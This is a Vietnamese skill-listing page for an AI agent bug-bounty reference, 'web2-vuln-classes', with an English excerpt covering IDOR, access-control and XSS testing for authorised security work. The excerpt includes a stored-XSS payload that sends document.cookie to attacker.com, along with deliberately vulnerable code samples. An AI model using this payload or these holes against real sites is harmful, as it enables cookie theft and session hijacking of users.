web2-vuln-classes
Skill này làm gì
Skill này là tài liệu tham khảo cho agent kiểm thử ứng dụng web. Skill giải thích các lỗi phổ biến như IDOR, SSRF, XSS và SQL injection xảy ra thế nào và cách nhận biết chúng.
Khi nào nên dùng
- ✓Khi người kiểm thử muốn tìm hiểu cách một lỗi web phổ biến như IDOR hoặc SSRF hoạt động.
- ✓Khi người kiểm thử cần mẫu phát hiện hoặc ý tưởng vượt qua cho một loại lỗi cụ thể.
- ✓Khi người kiểm thử muốn đối chiếu một phát hiện với các nguyên nhân gốc đã biết.
Liên kết skill
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Giải thích cách kiểm thử ứng dụng này để tìm IDOR, cùng các nguyên nhân gốc thường gặp và những gì cần tìm.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm loại lỗi phù hợp trong tài liệu, rồi dùng nguyên nhân gốc, mẫu phát hiện và bảng vượt qua để lên kế hoạch kiểm thử. Các loại cần đăng nhập được đánh dấu, và skill gợi ý dùng hai phiên để kiểm tra quyền truy cập.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
WEB2 BUG CLASSES — 26 Classes
Root cause, pattern, bypass table, chaining opportunity, real paid examples.
Auth-required classes (🔐): the ones below need at least one logged-in session loaded into the hunt to be testable. Use
hunt.py --auth-file .private/T.jsonor--cookie/--bearerflags — every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. Seedocs/auth-sessions.md.🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT · GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response manipulation tests) · ATO chains · SSRF behind login
The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded — that's the attack premise.
1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐
#1 most paid web2 class — 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) — load both via
--auth-fileand diff audit-logsession_idhashes to confirm cross-tenant access.
Root Cause
# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
return jsonify(order) # Never checks if order belongs to current user!
# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
order_id, current_user.id)
Variants
- V1: Numeric ID swap —
/api/user/123/profile→ change to 124 - V2: UUID swap — enumerate UUID via email invite or other endpoint
- V3: Indirect IDOR —
POST /api/export?report_id=456exports another user's report - V4: Parameter add —
?user_id=othermakes backend use it - V5: HTTP method swap — PUT protected, DELETE not
- V6: Old API version —
/v1/users/123lacks auth that/v2/has - V7: GraphQL node —
{ node(id: "base64(User:456)") { email } } - V8: WebSocket — WS sends
{"action":"get_history","userId":"client-generated-UUID"}
Testing Checklist
[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs
IDOR Chain Escalation
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot reads other user's data = High
2. BROKEN AUTH / ACCESS CONTROL 🔐
#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded — you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.
The Sibling Rule
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
Patterns
// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!
Real Paid Examples
- HackerOne TrustHub:
POST /graphqlwithTrustHubQuery— no auth, regular user reads all vendors (CVSS 8.7 High) - Vienna Chatbot: WebSocket
get_historyaccepts arbitrary UUID — no ownership check (P2)
3. XSS — CROSS-SITE SCRIPTING
Stored XSS (highest impact)
Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack
DOM XSS Sinks (grep for these)
innerHTML = userInput // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
element.src = userInput // JavaScript URI possible
location.href = userInput
postMessage is a DOM XSS source — same sinks above (innerHTML, eval
Câu hỏi thường gặp
Có bao nhiêu loại được bao phủ?
Skill bao phủ 26 loại lỗi web, gồm IDOR, SSRF, XSS, SQL injection và tải file lên.
Vì sao dùng hai phiên?
Skill gợi ý tải một phiên có quyền thấp và một phiên có quyền cao để so sánh quyền truy cập.
Nó có bao gồm rủi ro AI không?
Có. Nó bao gồm rủi ro LLM và AI được ánh xạ tới các nhóm ASI.
Chi tiết
Mô tả gốc của tác giả
Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de
Độ phổ biến
- Sao GitHub
- 5.5k
- Vị trí xếp hạng
- #14797
- Giấy phép
- MIT
- Cập nhật
- 28/10/2026
Bình luận
- …
Thêm skill từ kho mã này
bug-bounty
5.5kGiúp agent của bạn lên kế hoạch cho một đợt rà soát bug bounty theo từng giai đoạn, từ kiểm tra phạm vi chương trình và lập bản đồ tài sản đến thử nghiệm các manh mối, xác nhận tác động và viết báo cáo.
agentic-app-audit
5.5kGiúp agent của bạn rà soát từ bên ngoài một trợ lý AI đang chạy thật, tìm các rủi ro như lệnh gọi công cụ bị chiếm quyền, bộ nhớ bị nhiễm độc và hành động dùng quyền cao hơn người dùng.
argus
5.5kGiúp agent của bạn chạy sáu bộ quét tự động cho các lỗi phổ biến của ứng dụng web và AI, như chia sẻ tài nguyên chéo nguồn quá mở, điểm yếu JWT và lỗi mù được xác nhận ngoài băng.
bb-methodology
5.5kGiúp agent của bạn lên kế hoạch một phiên bug bounty theo từng giai đoạn, chọn bước tiếp theo và các kiểm tra phù hợp, rồi loại bỏ những ý tưởng không thể gây hại thật.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.